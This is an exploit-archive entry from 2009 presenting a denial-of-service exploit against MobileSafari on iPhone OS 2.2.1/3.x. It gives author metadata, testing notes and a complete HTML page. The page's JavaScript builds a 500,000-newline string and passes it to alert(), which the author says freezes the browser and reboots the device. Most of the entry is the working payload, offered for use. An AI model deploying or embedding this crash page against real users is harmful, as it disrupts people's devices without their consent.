Apple iPhone 2.2.1/3.x - MobileSafari Crash + Reboot (Denial of Service)

Author: TheLeader
type: dos
platform: windows
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date_added: 2009-08-30 
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# Apple iPhone (MobileSafari) Crash & Reboot
# TheLeader, GSOG [st0p] hotmail [sp4m] com
# Shoutz: hacking.org.il nullbyte.org.il

# Tested on iPod Touch 2G, OS 2.2.1
# Launch MobileSafari, enter the page and MobileSafari will freeze.
# Wait for 4-5 minutes and the device will spontaneously reboot.

# Exploit:

<html>
<body>
<script>
var a = '';
for (var i = 1; i <= 500000; i++)
{
  a += '\n';
}
alert(a);
</script>
</body>
</html>

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